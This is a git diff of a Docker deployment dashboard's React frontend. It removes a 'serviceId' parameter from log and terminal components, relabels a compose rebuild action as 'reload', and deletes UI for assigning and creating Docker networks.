api.docker.getContainersByAppNameMatch.useQuery( api.docker.getContainersByAppNameMatch.useQuery(
@@ -124,7 +122,6 @@ export const ShowComposeContainers = ({
key={container.containerId} key={container.containerId}
container={container} container={container}
serverId={serverId} serverId={serverId}
serviceId={serviceId}
onActionComplete={() => refetch()} onActionComplete={() => refetch()}
/> />
))} ))}
@@ -145,14 +142,12 @@ interface ContainerRowProps {
status: string; status: string;
}; };
serverId?: string; serverId?: string;
serviceId?: string;
onActionComplete: () => void; onActionComplete: () => void;
} }
const ContainerRow = ({ const ContainerRow = ({
container, container,
serverId, serverId,
serviceId,
onActionComplete, onActionComplete,
}: ContainerRowProps) => { }: ContainerRowProps) => {
const [logsOpen, setLogsOpen] = useState(false); const [logsOpen, setLogsOpen] = useState(false);
@@ -241,7 +236,6 @@ const ContainerRow = ({
<DockerTerminalModal <DockerTerminalModal
containerId={container.containerId} containerId={container.containerId}
serverId={serverId || ""} serverId={serverId || ""}
serviceId={serviceId}
> >
Terminal Terminal
</DockerTerminalModal> </DockerTerminalModal>
@@ -286,7 +280,6 @@ const ContainerRow = ({
containerId={container.containerId} containerId={container.containerId}
serverId={serverId} serverId={serverId}
runType="native" runType="native"
serviceId={serviceId}
/> />
</div> </div>
</DialogContent> </DialogContent>

View File

@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
)} )}
{canDeploy && ( {canDeploy && (
<DialogAction <DialogAction
title="Rebuild Compose" title="Reload Compose"
description="Are you sure you want to rebuild this compose?" description="Are you sure you want to reload this compose?"
type="default" type="default"
onClick={async () => { onClick={async () => {
await redeploy({ await redeploy({
composeId: composeId, composeId: composeId,
}) })
.then(() => { .then(() => {
toast.success("Compose rebuilt successfully"); toast.success("Compose reloaded successfully");
refetch(); refetch();
}) })
.catch(() => { .catch(() => {
toast.error("Error rebuilding compose"); toast.error("Error reloading compose");
}); });
}} }}
> >
@@ -109,14 +109,12 @@ export const ComposeActions = ({ composeId }: Props) => {
<TooltipTrigger asChild> <TooltipTrigger asChild>
<div className="flex items-center"> <div className="flex items-center">
<RefreshCcw className="size-4 mr-1" /> <RefreshCcw className="size-4 mr-1" />
Rebuild Reload
</div> </div>
</TooltipTrigger> </TooltipTrigger>
<TooltipPrimitive.Portal> <TooltipPrimitive.Portal>
<TooltipContent sideOffset={5} className="z-60"> <TooltipContent sideOffset={5} className="z-60">
<p> <p>Reload the compose without rebuilding it</p>
Rebuilds the compose without downloading the source code
</p>
</TooltipContent> </TooltipContent>
</TooltipPrimitive.Portal> </TooltipPrimitive.Portal>
</Tooltip> </Tooltip>
@@ -208,7 +206,6 @@ export const ComposeActions = ({ composeId }: Props) => {
appName={data?.appName || ""} appName={data?.appName || ""}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
appType={data?.composeType || "docker-compose"} appType={data?.composeType || "docker-compose"}
serviceId={data?.composeId}
> >
<Button <Button
variant="outline" variant="outline"

View File

@@ -52,7 +52,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
Preview Compose Preview Compose
</Button> </Button>
</DialogTrigger> </DialogTrigger>
<DialogContent className="sm:max-w-6xl max-h-[85vh] flex flex-col"> <DialogContent className="sm:max-w-6xl max-h-200">
<DialogHeader> <DialogHeader>
<DialogTitle>Converted Compose</DialogTitle> <DialogTitle>Converted Compose</DialogTitle>
<DialogDescription> <DialogDescription>
@@ -62,6 +62,10 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</DialogHeader> </DialogHeader>
{isError && <AlertBlock type="error">{error?.message}</AlertBlock>} {isError && <AlertBlock type="error">{error?.message}</AlertBlock>}
<AlertBlock type="info" className="mb-4">
Preview your docker-compose file with added domains. Note: At least
one domain must be specified for this conversion to take effect.
</AlertBlock>
{isPending ? ( {isPending ? (
<div className="flex flex-row items-center justify-center min-h-100 border p-4 rounded-md"> <div className="flex flex-row items-center justify-center min-h-100 border p-4 rounded-md">
<Loader2 className="h-8 w-8 text-muted-foreground mb-2 animate-spin" /> <Loader2 className="h-8 w-8 text-muted-foreground mb-2 animate-spin" />
@@ -75,7 +79,7 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</div> </div>
) : ( ) : (
<> <>
<div className="flex flex-row gap-2 justify-end"> <div className="flex flex-row gap-2 justify-end my-4">
<Button <Button
variant="secondary" variant="secondary"
isLoading={isPending} isLoading={isPending}
@@ -96,15 +100,14 @@ export const ShowConvertedCompose = ({ composeId }: Props) => {
</Button> </Button>
</div> </div>
<div className="flex-1 min-h-0 overflow-auto rounded-md border"> <pre>
<CodeEditor <CodeEditor
value={compose || ""} value={compose || ""}
language="yaml" language="yaml"
readOnly readOnly
height="100%" height="50rem"
wrapperClassName="h-full"
/> />
</div> </pre>
</> </>
)} )}
</DialogContent> </DialogContent>

View File

@@ -35,14 +35,9 @@ export const DockerLogs = dynamic(
interface Props { interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const ShowDockerLogsStack = ({ export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
appName,
serverId,
serviceId,
}: Props) => {
const [option, setOption] = useState<"swarm" | "native">("native"); const [option, setOption] = useState<"swarm" | "native">("native");
const [containerId, setContainerId] = useState<string | undefined>(); const [containerId, setContainerId] = useState<string | undefined>();
@@ -172,7 +167,6 @@ export const ShowDockerLogsStack = ({
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType={option} runType={option}
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -35,14 +35,12 @@ interface Props {
appName: string; appName: string;
serverId?: string; serverId?: string;
appType: "stack" | "docker-compose"; appType: "stack" | "docker-compose";
serviceId?: string;
} }
export const ShowDockerLogsCompose = ({ export const ShowDockerLogsCompose = ({
appName, appName,
appType, appType,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery( const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
{ {
@@ -106,7 +104,6 @@ export const ShowDockerLogsCompose = ({
serverId={serverId || ""} serverId={serverId || ""}
containerId={containerId || "select-a-container"} containerId={containerId || "select-a-container"}
runType="native" runType="native"
serviceId={serviceId}
/> />
</CardContent> </CardContent>
</Card> </Card>

View File

@@ -23,7 +23,6 @@ interface Props {
containerId: string; containerId: string;
serverId?: string | null; serverId?: string | null;
runType: "swarm" | "native"; runType: "swarm" | "native";
serviceId?: string;
} }
export const priorities = [ export const priorities = [
@@ -53,7 +52,6 @@ export const DockerLogsId: React.FC<Props> = ({
containerId, containerId,
serverId, serverId,
runType, runType,
serviceId,
}) => { }) => {
const { data } = api.docker.getConfig.useQuery( const { data } = api.docker.getConfig.useQuery(
{ {
@@ -159,10 +157,6 @@ export const DockerLogsId: React.FC<Props> = ({
params.append("serverId", serverId); params.append("serverId", serverId);
} }
if (serviceId) {
params.append("serviceId", serviceId);
}
const wsUrl = `${protocol}//${ const wsUrl = `${protocol}//${
window.location.host window.location.host
}/docker-container-logs?${params.toString()}`; }/docker-container-logs?${params.toString()}`;
@@ -228,7 +222,7 @@ export const DockerLogsId: React.FC<Props> = ({
ws.close(); ws.close();
} }
}; };
}, [containerId, serverId, serviceId, lines, search, since]); }, [containerId, serverId, lines, search, since]);
const handleDownload = () => { const handleDownload = () => {
const logContent = filteredLogs const logContent = filteredLogs

View File

@@ -23,14 +23,12 @@ interface Props {
containerId: string; containerId: string;
serverId?: string; serverId?: string;
children?: React.ReactNode; children?: React.ReactNode;
serviceId?: string;
} }
export const DockerTerminalModal = ({ export const DockerTerminalModal = ({
children, children,
containerId, containerId,
serverId, serverId,
serviceId,
}: Props) => { }: Props) => {
const [mainDialogOpen, setMainDialogOpen] = useState(false); const [mainDialogOpen, setMainDialogOpen] = useState(false);
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false); const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -76,7 +74,6 @@ export const DockerTerminalModal = ({
id="terminal" id="terminal"
containerId={containerId} containerId={containerId}
serverId={serverId || ""} serverId={serverId || ""}
serviceId={serviceId}
/> />
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}> <Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}> <DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>

View File

@@ -10,14 +10,12 @@ interface Props {
id: string; id: string;
containerId?: string; containerId?: string;
serverId?: string; serverId?: string;
serviceId?: string;
} }
export const DockerTerminal: React.FC<Props> = ({ export const DockerTerminal: React.FC<Props> = ({
id, id,
containerId, containerId,
serverId, serverId,
serviceId,
}) => { }) => {
const termRef = useRef(null); const termRef = useRef(null);
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash"); const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -40,7 +38,7 @@ export const DockerTerminal: React.FC<Props> = ({
const addonFit = new FitAddon(); const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:"; const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`; const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
const ws = new WebSocket(wsUrl); const ws = new WebSocket(wsUrl);

View File

@@ -229,7 +229,6 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
)} )}
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.libsqlId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -236,7 +236,6 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
))} ))}
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mariadbId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -230,7 +230,6 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mongoId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -228,7 +228,6 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
</TooltipProvider> </TooltipProvider>
<DockerTerminalModal <DockerTerminalModal
appName={data?.appName || ""} appName={data?.appName || ""}
serviceId={data?.mysqlId}
serverId={data?.serverId || ""} serverId={data?.serverId || ""}
> >
<Button <Button

View File

@@ -1,347 +0,0 @@
import { zodResolver } from "@hookform/resolvers/zod";
import { Check, ChevronsUpDown, Loader2, RefreshCw } from "lucide-react";
import { useEffect, useState } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Checkbox } from "@/components/ui/checkbox";
import {
Command,
CommandGroup,
CommandInput,
CommandItem,
CommandList,
} from "@/components/ui/command";
import { Form, FormControl, FormField, FormItem } from "@/components/ui/form";
import {
Popover,
PopoverContent,
PopoverTrigger,
} from "@/components/ui/popover";
import { Switch } from "@/components/ui/switch";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
interface Props {
composeId: string;
}
const serviceSchema = z.object({
serviceName: z.string(),
networkIds: z.array(z.string()),
detachDokployNetwork: z.boolean(),
});
const formSchema = z.object({
services: z.array(serviceSchema),
});
type FormValues = z.infer<typeof formSchema>;
export const AssignComposeNetworks = ({ composeId }: Props) => {
const [cacheType, setCacheType] = useState<"cache" | "fetch">("cache");
const { data: compose } = api.compose.one.useQuery({ composeId });
const {
data: services,
isLoading: isLoadingServices,
error: servicesError,
refetch: refetchServices,
isRefetching: isRefetchingServices,
} = api.compose.loadServices.useQuery(
{ composeId, type: cacheType },
{ retry: false },
);
const onRetry = () => {
setCacheType("fetch");
setTimeout(() => refetchServices(), 0);
};
const { data: networks } = api.network.all.useQuery(
{ serverId: compose?.serverId ?? undefined },
{ enabled: compose !== undefined },
);
const { mutateAsync, isPending } = api.compose.update.useMutation();
const utils = api.useUtils();
const form = useForm<FormValues>({
resolver: zodResolver(formSchema),
defaultValues: { services: [] },
});
const { fields } = useFieldArray({
control: form.control,
name: "services",
});
useEffect(() => {
if (!services) return;
const serviceNetworks = compose?.serviceNetworks ?? [];
form.reset({
services: services.map((serviceName) => {
const config = serviceNetworks.find(
(s) => s.serviceName === serviceName,
);
return {
serviceName,
networkIds: config?.networkIds ?? [],
detachDokployNetwork: config?.detachDokployNetwork ?? false,
};
}),
});
}, [services, compose?.serviceNetworks, form]);
const allowsBridge = compose?.composeType === "docker-compose";
const availableNetworks = (networks ?? []).filter(
(n) => allowsBridge || n.driver === "overlay",
);
const onSubmit = async (values: FormValues) => {
try {
const serviceNetworks = values.services.filter(
(s) => s.networkIds.length > 0 || s.detachDokployNetwork,
);
await mutateAsync({
composeId,
serviceNetworks,
});
toast.success("Networks updated. Redeploy the compose to apply them.");
await utils.compose.one.invalidate({ composeId });
} catch (error) {
toast.error("Error updating networks", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Card className="bg-background">
<CardHeader className="flex flex-row items-start justify-between flex-wrap gap-2">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Networks</CardTitle>
<CardDescription>
Attach Docker networks per service and detach it from
dokploy-network. Takes effect on the next deploy.
</CardDescription>
</div>
<Button
variant="outline"
size="sm"
isLoading={isRefetchingServices}
onClick={onRetry}
>
<RefreshCw className="size-4" />
Refresh
</Button>
</CardHeader>
<CardContent className="flex flex-col gap-4">
{servicesError ? (
<div className="flex flex-col gap-3">
<AlertBlock type="error">
Could not load the compose services. If this compose was just
created from a template, it hasn't been cloned yet click Reload
to clone the repository and read its services.
</AlertBlock>
<div className="flex justify-end">
<Button
variant="outline"
size="sm"
isLoading={isRefetchingServices}
onClick={onRetry}
>
<RefreshCw className="size-4" />
Reload services
</Button>
</div>
</div>
) : isLoadingServices ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading services...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !services?.length ? (
<span className="py-6 text-center text-sm text-muted-foreground">
No services found in this compose.
</span>
) : (
<Form {...form}>
<form
onSubmit={form.handleSubmit(onSubmit)}
className="flex flex-col gap-4"
>
{fields.map((fieldItem, index) => (
<ServiceRow
key={fieldItem.id}
control={form.control}
index={index}
service={fieldItem.serviceName}
availableNetworks={availableNetworks}
/>
))}
<div className="flex justify-end">
<Button
type="submit"
disabled={!form.formState.isDirty}
isLoading={isPending}
>
Save
</Button>
</div>
</form>
</Form>
)}
</CardContent>
</Card>
);
};
type NetworkOption = { networkId: string; name: string; driver: string };
const ServiceRow = ({
control,
index,
service,
availableNetworks,
}: {
control: ReturnType<typeof useForm<FormValues>>["control"];
index: number;
service: string;
availableNetworks: NetworkOption[];
}) => {
const [open, setOpen] = useState(false);
return (
<div className="flex flex-col gap-3 rounded-lg border p-4">
<FormField
control={control}
name={`services.${index}.detachDokployNetwork`}
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between gap-3 space-y-0">
<span className="text-sm font-medium">{service}</span>
<div className="flex items-center gap-2">
<span className="text-xs text-muted-foreground">
Detach dokploy-network
</span>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</div>
</FormItem>
)}
/>
<FormField
control={control}
name={`services.${index}.networkIds`}
render={({ field }) => {
const selectedNetworks = availableNetworks.filter((n) =>
field.value.includes(n.networkId),
);
const toggle = (networkId: string) => {
field.onChange(
field.value.includes(networkId)
? field.value.filter((id) => id !== networkId)
: [...field.value, networkId],
);
};
return (
<FormItem className="space-y-3">
<Popover open={open} onOpenChange={setOpen}>
<PopoverTrigger asChild>
<Button
type="button"
variant="outline"
aria-expanded={open}
className="w-full justify-between"
>
<span className="text-muted-foreground">
{selectedNetworks.length > 0
? `${selectedNetworks.length} network${
selectedNetworks.length > 1 ? "s" : ""
} selected`
: "Select networks..."}
</span>
<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
</Button>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search networks..."
className="h-9"
/>
<CommandList className="max-h-60">
{availableNetworks.length === 0 ? (
<div className="py-6 text-center text-sm text-muted-foreground">
No networks available on this server.
</div>
) : (
<CommandGroup>
{availableNetworks.map((n) => {
const isSelected = field.value.includes(
n.networkId,
);
return (
<CommandItem
key={n.networkId}
value={n.name}
onSelect={() => toggle(n.networkId)}
className="cursor-pointer"
>
<Checkbox
checked={isSelected}
className="mr-2"
onCheckedChange={() => toggle(n.networkId)}
/>
<span>{n.name}</span>
<Badge variant="outline" className="ml-2">
{n.driver}
</Badge>
<Check
className={cn(
"ml-auto size-4",
isSelected ? "opacity-100" : "opacity-0",
)}
/>
</CommandItem>
);
})}
</CommandGroup>
)}
</CommandList>
</Command>
</PopoverContent>
</Popover>
{selectedNetworks.length > 0 && (
<div className="flex flex-wrap gap-1.5">
{selectedNetworks.map((n) => (
<Badge key={n.networkId} variant="secondary">
{n.name}
</Badge>
))}
</div>
)}
</FormItem>
);
}}
/>
</div>
);
};

View File

@@ -1,355 +0,0 @@
import { Check, ChevronsUpDown, X } from "lucide-react";
import { useEffect, useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Checkbox } from "@/components/ui/checkbox";
import {
Command,
CommandEmpty,
CommandGroup,
CommandInput,
CommandItem,
CommandList,
} from "@/components/ui/command";
import {
Popover,
PopoverContent,
PopoverTrigger,
} from "@/components/ui/popover";
import { Switch } from "@/components/ui/switch";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
type ServiceType =
| "application"
| "postgres"
| "mysql"
| "mariadb"
| "mongo"
| "redis"
| "libsql";
interface Props {
id: string;
type: ServiceType;
}
export const AssignNetworks = ({ id, type }: Props) => {
const [open, setOpen] = useState(false);
const [selected, setSelected] = useState<string[]>([]);
const [detached, setDetached] = useState(false);
const {
service,
serverId,
networkIds,
detachDokployNetwork,
updateAsync,
isUpdating,
refetch,
} = useServiceNetworks(id, type);
const { data: networks } = api.network.all.useQuery(
{ serverId: serverId ?? undefined },
{ enabled: service !== undefined },
);
const { data: applicationDomains } = api.domain.byApplicationId.useQuery(
{ applicationId: id },
{ enabled: type === "application" },
);
const hasDomains = (applicationDomains?.length ?? 0) > 0;
useEffect(() => {
setSelected(networkIds ?? []);
setDetached(detachDokployNetwork ?? false);
}, [networkIds, detachDokployNetwork]);
const availableNetworks = (networks ?? []).filter(
(n) => n.driver === "overlay",
);
const selectedNetworks = availableNetworks.filter((n) =>
selected.includes(n.networkId),
);
const isDirty =
selected.length !== (networkIds?.length ?? 0) ||
selected.some((networkId) => !networkIds?.includes(networkId)) ||
detached !== detachDokployNetwork;
const toggle = (networkId: string) => {
setSelected((prev) =>
prev.includes(networkId)
? prev.filter((id) => id !== networkId)
: [...prev, networkId],
);
};
const onSave = async () => {
try {
await updateAsync({
networkIds: selected,
detachDokployNetwork: detached,
});
toast.success("Networks updated. Redeploy the service to apply them.");
await refetch();
} catch (error) {
toast.error("Error updating networks", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between flex-wrap gap-2">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Networks</CardTitle>
<CardDescription>
Attach additional Docker networks to this service so it can reach
services on those networks. Takes effect on the next deploy.
</CardDescription>
</div>
</CardHeader>
<CardContent className="flex flex-col gap-4">
<div className="flex flex-row items-start justify-between gap-3 rounded-lg border p-4">
<div className="space-y-1 pr-1">
<div className="flex items-center gap-2">
<span className="text-sm font-medium">
Detach from dokploy-network
</span>
<Badge variant="secondary">dokploy-network</Badge>
</div>
<p className="text-sm text-muted-foreground">
By default the service joins the shared dokploy-network. Detach it
to keep it reachable only through the networks you attach below.
</p>
</div>
<Switch checked={detached} onCheckedChange={setDetached} />
</div>
{detached && hasDomains && (
<AlertBlock type="warning">
Warning: this service has domains. Detaching it from dokploy-network
will break Traefik routing, and its domains will stop working.
</AlertBlock>
)}
{detached && !hasDomains && selected.length === 0 && (
<AlertBlock type="warning">
This service is detached from dokploy-network but has no other
network attached. It would be unreachable, so dokploy-network will
be kept until you attach a network below.
</AlertBlock>
)}
<Popover open={open} onOpenChange={setOpen}>
<PopoverTrigger asChild>
<Button
variant="outline"
aria-expanded={open}
className="w-full justify-between"
>
<span className="text-muted-foreground">
{selectedNetworks.length > 0
? `${selectedNetworks.length} network${
selectedNetworks.length > 1 ? "s" : ""
} selected`
: "Select networks..."}
</span>
<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
</Button>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput placeholder="Search networks..." className="h-9" />
<CommandList className="max-h-60">
{availableNetworks.length === 0 ? (
<div className="py-6 text-center text-sm text-muted-foreground">
No overlay networks on this server.
</div>
) : (
<>
<CommandEmpty className="py-6 text-center text-sm text-muted-foreground">
No networks found.
</CommandEmpty>
<CommandGroup>
{availableNetworks.map((n) => {
const isSelected = selected.includes(n.networkId);
return (
<CommandItem
key={n.networkId}
value={n.name}
onSelect={() => toggle(n.networkId)}
className="cursor-pointer"
>
<Checkbox
checked={isSelected}
className="mr-2"
onCheckedChange={() => toggle(n.networkId)}
/>
<span>{n.name}</span>
<Badge variant="outline" className="ml-2">
{n.driver}
</Badge>
<Check
className={cn(
"ml-auto size-4",
isSelected ? "opacity-100" : "opacity-0",
)}
/>
</CommandItem>
);
})}
</CommandGroup>
</>
)}
</CommandList>
</Command>
</PopoverContent>
</Popover>
{selectedNetworks.length > 0 && (
<div className="flex flex-wrap gap-1.5">
{selectedNetworks.map((n) => (
<Badge
key={n.networkId}
variant="secondary"
className="flex items-center gap-1 pr-1"
>
{n.name}
<button
type="button"
onClick={() => toggle(n.networkId)}
className="ml-0.5 rounded-full outline-hidden hover:opacity-70"
>
<X className="size-3" />
<span className="sr-only">Remove {n.name}</span>
</button>
</Badge>
))}
</div>
)}
<div className="flex justify-end">
<Button disabled={!isDirty} isLoading={isUpdating} onClick={onSave}>
Save
</Button>
</div>
</CardContent>
</Card>
);
};
// Maps a service type to its one-query and update-mutation, normalizing the
// per-type id field name and the networkIds field.
const useServiceNetworks = (id: string, type: ServiceType) => {
const application = api.application.one.useQuery(
{ applicationId: id },
{ enabled: type === "application" },
);
const postgres = api.postgres.one.useQuery(
{ postgresId: id },
{ enabled: type === "postgres" },
);
const mysql = api.mysql.one.useQuery(
{ mysqlId: id },
{ enabled: type === "mysql" },
);
const mariadb = api.mariadb.one.useQuery(
{ mariadbId: id },
{ enabled: type === "mariadb" },
);
const mongo = api.mongo.one.useQuery(
{ mongoId: id },
{ enabled: type === "mongo" },
);
const redis = api.redis.one.useQuery(
{ redisId: id },
{ enabled: type === "redis" },
);
const libsql = api.libsql.one.useQuery(
{ libsqlId: id },
{ enabled: type === "libsql" },
);
const applicationUpdate = api.application.update.useMutation();
const postgresUpdate = api.postgres.update.useMutation();
const mysqlUpdate = api.mysql.update.useMutation();
const mariadbUpdate = api.mariadb.update.useMutation();
const mongoUpdate = api.mongo.update.useMutation();
const redisUpdate = api.redis.update.useMutation();
const libsqlUpdate = api.libsql.update.useMutation();
const map = {
application: {
query: application,
mutation: applicationUpdate,
save: (payload: SavePayload) =>
applicationUpdate.mutateAsync({ applicationId: id, ...payload }),
},
postgres: {
query: postgres,
mutation: postgresUpdate,
save: (payload: SavePayload) =>
postgresUpdate.mutateAsync({ postgresId: id, ...payload }),
},
mysql: {
query: mysql,
mutation: mysqlUpdate,
save: (payload: SavePayload) =>
mysqlUpdate.mutateAsync({ mysqlId: id, ...payload }),
},
mariadb: {
query: mariadb,
mutation: mariadbUpdate,
save: (payload: SavePayload) =>
mariadbUpdate.mutateAsync({ mariadbId: id, ...payload }),
},
mongo: {
query: mongo,
mutation: mongoUpdate,
save: (payload: SavePayload) =>
mongoUpdate.mutateAsync({ mongoId: id, ...payload }),
},
redis: {
query: redis,
mutation: redisUpdate,
save: (payload: SavePayload) =>
redisUpdate.mutateAsync({ redisId: id, ...payload }),
},
libsql: {
query: libsql,
mutation: libsqlUpdate,
save: (payload: SavePayload) =>
libsqlUpdate.mutateAsync({ libsqlId: id, ...payload }),
},
}[type];
const service = map.query.data;
return {
service,
serverId: service?.serverId ?? null,
networkIds: service?.networkIds ?? [],
detachDokployNetwork: service?.detachDokployNetwork ?? false,
updateAsync: map.save,
isUpdating: map.mutation.isPending,
refetch: map.query.refetch,
};
};
type SavePayload = {
networkIds: string[];
detachDokployNetwork: boolean;
};

View File

@@ -1,373 +0,0 @@
"use client";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { Network, Plus, Trash2 } from "lucide-react";
import { useState } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormDescription,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { api } from "@/utils/api";
// Only bridge and overlay can be created: "host"/"none" are Docker
// singletons and macvlan/ipvlan need driver options we don't expose.
const networkDriverEnum = ["bridge", "overlay"] as const;
const ipamConfigEntrySchema = z.object({
subnet: z.string().optional(),
ipRange: z.string().optional(),
gateway: z.string().optional(),
});
const networkFormSchema = z
.object({
name: z.string().min(1, "Name is required"),
driver: z.enum(networkDriverEnum),
internal: z.boolean(),
attachable: z.boolean(),
enableIPv4: z.boolean(),
enableIPv6: z.boolean(),
ipamDriver: z.string().optional(),
ipamConfig: z.array(ipamConfigEntrySchema),
})
.superRefine((input, ctx) => {
if (!input.enableIPv4 && !input.enableIPv6) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["enableIPv4"],
message: "IPv4 or IPv6 must be enabled",
});
}
for (const [index, entry] of input.ipamConfig.entries()) {
if (!entry.subnet && (entry.gateway || entry.ipRange)) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["ipamConfig", index, "subnet"],
message: "Gateway and IP range require a subnet",
});
}
}
});
type NetworkFormValues = z.infer<typeof networkFormSchema>;
const defaultValues: NetworkFormValues = {
name: "",
driver: "bridge",
internal: false,
attachable: false,
enableIPv4: true,
enableIPv6: false,
ipamDriver: "",
ipamConfig: [],
};
const toggleOptions = [
{
name: "internal",
label: "Internal",
description: "Containers on this network cannot reach external networks.",
},
{
name: "attachable",
label: "Attachable",
description:
"Allow standalone containers to attach (overlay networks only).",
},
{
name: "enableIPv4",
label: "Enable IPv4",
description: "Enable IPv4 addressing on the network.",
},
{
name: "enableIPv6",
label: "Enable IPv6",
description: "Enable IPv6 addressing on the network.",
},
] as const;
interface HandleNetworkProps {
/** Target server; undefined creates on the local Dokploy server */
serverId?: string;
children?: React.ReactNode;
}
// Docker networks are immutable, so this dialog only creates them;
// changing a network means deleting and recreating it.
export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
const [isOpen, setIsOpen] = useState(false);
const utils = api.useUtils();
const { mutateAsync, isPending } = api.network.create.useMutation();
const form = useForm<NetworkFormValues>({
resolver: zodResolver(networkFormSchema),
defaultValues,
});
const ipamConfigFieldArray = useFieldArray({
control: form.control,
name: "ipamConfig",
});
const onSubmit = async (data: NetworkFormValues) => {
try {
await mutateAsync({
name: data.name,
driver: data.driver,
serverId,
internal: data.internal,
attachable: data.attachable,
enableIPv4: data.enableIPv4,
enableIPv6: data.enableIPv6,
ipam: {
driver: data.ipamDriver || undefined,
config: data.ipamConfig,
},
});
toast.success("Network created");
await utils.network.all.invalidate();
setIsOpen(false);
form.reset(defaultValues);
} catch (error) {
toast.error("Error creating network", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
const trigger = children ?? (
<Button>
<Plus className=" size-4" />
Add network
</Button>
);
return (
<Dialog open={isOpen} onOpenChange={setIsOpen}>
<DialogTrigger asChild>{trigger}</DialogTrigger>
<DialogContent className="sm:max-w-2xl max-h-[90vh] overflow-y-auto">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<Network className="size-5 text-muted-foreground" />
Add network
</DialogTitle>
<DialogDescription>
Create a new Docker network for your organization. Networks are
immutable: to change one, delete it and create it again.
</DialogDescription>
</DialogHeader>
<Form {...form}>
<form
onSubmit={form.handleSubmit(onSubmit)}
className="flex w-full flex-col gap-6"
>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
<FormField
control={form.control}
name="name"
render={({ field }) => (
<FormItem>
<FormLabel>Name</FormLabel>
<FormControl>
<Input placeholder="my-network" {...field} />
</FormControl>
